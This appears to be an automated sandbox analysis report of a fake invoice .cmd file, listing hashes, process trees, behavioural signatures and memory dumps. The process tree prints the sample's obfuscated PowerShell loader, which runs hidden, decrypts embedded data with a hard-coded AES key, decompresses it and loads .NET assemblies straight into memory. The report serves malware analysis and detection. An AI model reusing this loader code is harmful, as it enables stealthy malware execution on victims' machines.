Analysis
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max time kernel
117s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
20-03-2024 19:36
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE#TBSAOKHBSA.cmd
Resource
win7-20240221-en
windows7-x64
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
INVOICE#TBSAOKHBSA.cmd
Resource
win10v2004-20231215-en
windows10-2004-x64
6 signatures
150 seconds
General
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Target
INVOICE#TBSAOKHBSA.cmd
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Size
111KB
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MD5
2c3351c659a42a82e3a3d865c88eaaaf
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SHA1
7c73b2c98e449be1c5a85806c08cfe05c0a699ab
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SHA256
f8f8f56ff4b52a36a6619ca8eadab3df1ae333dfda870a36b024bd74cf0ce9e4
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SHA512
b1962ca896f6328289a61522c6ede86bd0e6436d3dd6ca2170888ee2592a9cf88640f801dd864dbab1713ddb930b4dbed3cba0c5362f56f19150fcdabab599c6
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SSDEEP
3072:hXiSJ9Nvg6aGNGIR9Lb5ZQ6gvr+sBKWTP8ydL:hnXy2wg9f5ZezrKWTPdV
Score
1/10
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2628 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2628 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 3024 wrote to memory of 1984 3024 cmd.exe cmd.exe PID 3024 wrote to memory of 1984 3024 cmd.exe cmd.exe PID 3024 wrote to memory of 1984 3024 cmd.exe cmd.exe PID 3024 wrote to memory of 2556 3024 cmd.exe cmd.exe PID 3024 wrote to memory of 2556 3024 cmd.exe cmd.exe PID 3024 wrote to memory of 2556 3024 cmd.exe cmd.exe PID 2556 wrote to memory of 2516 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2516 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2516 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2612 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2612 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2612 2556 cmd.exe cmd.exe PID 2556 wrote to memory of 2628 2556 cmd.exe powershell.exe PID 2556 wrote to memory of 2628 2556 cmd.exe powershell.exe PID 2556 wrote to memory of 2628 2556 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\INVOICE#TBSAOKHBSA.cmd"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c \"set __=^&rem\2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\INVOICE#TBSAOKHBSA.cmd2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c \"set __=^&rem\3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\INVOICE#TBSAOKHBSA.cmd';$vPfm='FrBUtpomBUtpBaBUtpseBUtp6BUtp4SBUtptBUtpriBUtpnBUtpgBUtp'.Replace('BUtp', ''),'SplJBtgiJBtgtJBtg'.Replace('JBtg', ''),'GethEjOChEjOuhEjOrrhEjOenhEjOtPhEjOrhEjOochEjOehEjOsshEjO'.Replace('hEjO', ''),'RbMNueabMNudLibMNunbMNuebMNusbMNu'.Replace('bMNu', ''),'TrVMsDanVMsDsfVMsDoVMsDrVMsDmVMsDFiVMsDnalVMsDBlVMsDoVMsDckVMsD'.Replace('VMsD', ''),'CwuCwrewuCwatwuCwewuCwDecwuCwrypwuCwtowuCwrwuCw'.Replace('wuCw', ''),'MaiTiHmnMoTiHmdTiHmuleTiHm'.Replace('TiHm', ''),'EnUWistrUWisyPUWisoinUWistUWis'.Replace('UWis', ''),'LookWIadokWI'.Replace('okWI', ''),'COhAHhOhAHanOhAHgeOhAHExOhAHteOhAHnsOhAHionOhAH'.Replace('OhAH', ''),'DeczWTeomzWTepzWTerzWTeezWTesszWTe'.Replace('zWTe', ''),'CokibSpkibSyTkibSokibS'.Replace('kibS', ''),'InwjkRvwjkRowjkRkewjkR'.Replace('wjkR', ''),'ElONUdeONUdmeONUdntONUdAtONUd'.Replace('ONUd', '');powershell -w hidden;function eQHuL($xDKNl){$wfVuI=[System.Security.Cryptography.Aes]::Create();$wfVuI.Mode=[System.Security.Cryptography.CipherMode]::CBC;$wfVuI.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$wfVuI.Key=[System.Convert]::($vPfm[0])('smeuwWzR6dWlk5l0XRDHt/STkUE6r93X9fZoZ+Y3e4g=');$wfVuI.IV=[System.Convert]::($vPfm[0])('u1EcqhG41JNBknlWNKXGVQ==');$oHOle=$wfVuI.($vPfm[5])();$HZbjq=$oHOle.($vPfm[4])($xDKNl,0,$xDKNl.Length);$oHOle.Dispose();$wfVuI.Dispose();$HZbjq;}function Jvwqe($xDKNl){$rttxe=New-Object System.IO.MemoryStream(,$xDKNl);$KtnaD=New-Object System.IO.MemoryStream;$fHrHd=New-Object System.IO.Compression.GZipStream($rttxe,[IO.Compression.CompressionMode]::($vPfm[10]));$fHrHd.($vPfm[11])($KtnaD);$fHrHd.Dispose();$rttxe.Dispose();$KtnaD.Dispose();$KtnaD.ToArray();}$AGaOg=[System.IO.File]::($vPfm[3])([Console]::Title);$bRtGG=Jvwqe (eQHuL ([Convert]::($vPfm[0])([System.Linq.Enumerable]::($vPfm[13])($AGaOg, 5).Substring(2))));$HvxJi=Jvwqe (eQHuL ([Convert]::($vPfm[0])([System.Linq.Enumerable]::($vPfm[13])($AGaOg, 6).Substring(2))));[System.Reflection.Assembly]::($vPfm[8])([byte[]]$HvxJi).($vPfm[7]).($vPfm[12])($null,$null);[System.Reflection.Assembly]::($vPfm[8])([byte[]]$bRtGG).($vPfm[7]).($vPfm[12])($null,$null); "3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2628-4-0x000000001B290000-0x000000001B572000-memory.dmpFilesize
2.9MB
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memory/2628-5-0x00000000024E0000-0x00000000024E8000-memory.dmpFilesize
32KB
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memory/2628-6-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmpFilesize
9.6MB
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memory/2628-7-0x00000000025D0000-0x0000000002650000-memory.dmpFilesize
512KB
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memory/2628-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmpFilesize
9.6MB
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memory/2628-9-0x00000000025D0000-0x0000000002650000-memory.dmpFilesize
512KB
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memory/2628-10-0x00000000025D0000-0x0000000002650000-memory.dmpFilesize
512KB
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memory/2628-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmpFilesize
9.6MB
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memory/2628-12-0x00000000025D0000-0x0000000002650000-memory.dmpFilesize
512KB
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memory/2628-13-0x00000000025D0000-0x0000000002650000-memory.dmpFilesize
512KB
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memory/2628-14-0x00000000025D0000-0x0000000002650000-memory.dmpFilesize
512KB